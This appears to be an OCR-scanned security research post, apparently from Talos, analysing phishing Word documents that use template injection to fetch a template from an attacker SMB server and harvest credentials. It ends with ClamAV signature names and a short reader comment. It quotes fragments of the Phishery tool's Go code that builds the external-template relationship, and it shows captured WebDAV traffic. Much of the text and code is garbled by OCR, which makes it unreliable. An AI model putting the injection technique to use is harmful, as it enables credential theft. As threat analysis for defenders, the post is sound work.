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Injection
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One objective of this most recent attack appears to be to harvest credentials of users who work
within critical infrastructure and manufacturing industries. Using a new twist on an old attack
method, a clever adversary stole credentials from their victims by sending malicious word
documents via email. These documents when opened, attempt to retrieve a template file from an
attacker controlled external SMB server.

TECHNICAL INVESTIGATION

In the midst of recent attack trends and global campaigns, it has become easier to pass over
simple techniques that serve attackers' best interests for years. As Talos has recently observed,
sometimes new takes on reliable techniques can make them even more effective.

While investigating a recently reported attack and pivoting on the data provided, we landed on
several interesting DOCX samples which were delivered as attachments in malicious spam
emails. As shown below, these documents often claimed to be environmental reports or
resumés/CVs.
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[*] INFLATE mode sel

[*] Opening file C 158cafolecesB66b58187372dcF43377bf4428c848007 c18fFaabco
[*] Filesize is 37788 (9x939c) Bytes

[*] Microsoft Office Open XML Format document detected.

files in this archive
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Contacting: \\ \Template.dotm

% @ ‘ ‘ Follow TCP Stream (Ecp.stream eq 1)
| Stream Content

Icp  OPTIONS sNormal.dotm HTTP/1.1
|  Commection: Keep-Alive
H User-Agent: Microsoft-wWebDAV-MiniRedir/6.1.7601
raw | | Eranslate: f
111 | Host:

HTTP/1.1 208 DK

116 | allow: OPTIONS, TRACE, GET, HEAD, POST
117 | Server: Microseft-IIS/7.5
11% | Publie: OPTIONS, TRACE, GET, HEAD, POST
173 |  X-Powered-By: ASP.NET
| Date: Mon, B3 Jul 2817 15:26:28 GMT
123 1 content-Length: @
125 |
125 | PROPFIND Mormal.dotm HTTR/1.1
13p |  Conmection: Keep-Alive
131 | User-Agent: Microsoft-wWebDAV-MiniRedir/6.1. 7681
_ | Depth: @
135 4 4 ranslate:
136 | | content-Length: @
138 | Host: - .
141 |
142 | HTTP/1.1 404 HNot Found
| Sarver: Microsoft-IIS/7.5

144 4 o powered-By: ASP.NET
147 | pate: Mon, 03 Jul 2017 15:26:32 GMT
148 | Comtent-Length: 0
149 |

PROPFIND /Mormal.dotm HTTRf1.1

Connection: Keep-Alive

User-Agent: Microsoft-wWebDAV-HiniRedir/6.1.7681

Frame 113:

Nanth: A
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Sandbox PCAP of the sample

The only entity left to move on from the template settings was the specific Relationship ID that
was present in word/_rels/settings.xml.rels within the sample: rld1337. Researching this
Relationship ID led us to the GitHub page of a phishing tool named Phishery which happened to
use the exact same ID in its template injection:

[l ryhanson / phishery @Watch | 19| JrStar | 321 YFork | 49

<»Code | (D Issees 1 I Pull requests @ I Projects o Insights =

Eranch: master = | phishery ! badocs | badoex.go Find file = Copy path
B ryhanson Renamed project to phishery, lots of retactoring and clean up B5b4eEC On Sep 25, 2016
1 conribubor

111 lines (89 sloc) | 2.35 KB Raw Blame History 4 71

package badocx

import {
"archiveszip"
"errars”
"losloutil™
"strings®

“github. com/ ryhansansphishery/archives®
)

type Docx struct {

13 zipReader *zip.ReadCloser
14 files [1*zip.File

15 neWFiles map[string][Ibyte
. H

func DpenBocx(path string) (*Oocx, error} {

GitHub page of the Phishery tool

Suprisingly, the same ID is found at the bottom of the aforementioned Go source:

func mewSettingsfels{url string) []bvte {
162 newfels (=
“cPanl version="1.0" encoding="UTF-B" standalone="yes"?»
«<Relationships xmlns="http://schemas.openxnlfornats. org/package/2006/ relationships™»
<Rplationship Id="rId133"" Type="nttp://schemas, openxnlformats, orgdof ficedocunant A 2086/ ralationships/att

Target=""+url+""
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187 TargetMode="External", >
168 «=/Relationships>"
169
118 raturn [ ]byte{nawkels)
111}
+ | ]

'rld1337" found in the Phishery tool, line 105.

Phishery, however, does NOT rely on a malicious SMB server. Rather, the connection is handled
over HTTPS, and the user credentials are harvested via Basic Authentication with a prompt for
the credentials. Such a prompt was not needed nor seen for samples requesting the template
over SMB. The fact that both this tool and the reported attack rely on template injection with the
exact same Relationship ID suggests one of the following:

1. Mere coincidence (always a possibility);

2. The attackers took notice of this tool and either modified it or developed their attack from
scratch while sticking to the same concept used by the tool; or

3. The attackers used the same Relationship ID to thwart analysis of the attack itself (remember:
our first inclination was to follow-up on the failed connection attempts over TCP 80).

At this time, there is no evidence to confirm any of the three possibilities. However, the attackers'
reliance on a successful SMB session stemming from outbound traffic over TCP 445 further
confirms that organizations are still failing to properly block such egress traffic to public hosts.
With no credential prompt needed for the SMB variation, we can come to understand the
simplicity and effectiveness of such a technique. If an attacker is able to compromise a host and
run such a server internally, the situation becomes significantly more grave.

Furthermore, since the attacker controlled SMB server was down when we analyzed these
samples, it is not possible to determine the ultimate payloads (if any) that could have been
dropped by the template being downloaded. As we have seen with recent attacks, the intent of
an attack is not always obvious. Forcing SMB requests to an external server has been a known
security vulnerability for many years. Without further information it is impossible to conclude
what the true scope of this attack was or what malicious payloads could have been involved.

CONCLUSION

Talos responded to these attacks by reaching out to known affected customers and ensuring
that they were aware of and capable of responding to the threat. It also illustrates the importance
of controlling your network traffic and not allowing outbound protocols such as SMB except
where specifically required for your environment. Additionally, a number of ClamAV signatures
and email rules were written in order to ensure that threats leveraging this Office template
injection technique are blocked in the future.

COVERAGE
ClamAV signatures created to identify this attack:

Doc.Tool.Phishery-6331699-0
Doc.Downloader. Templatelnjection-6332119-0
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Hi, I've been researching similar SMB exploits. The http traffic is likely due to the WEBDAV
system attempting to fetch metadata. This occurs when UNC paths are loaded.
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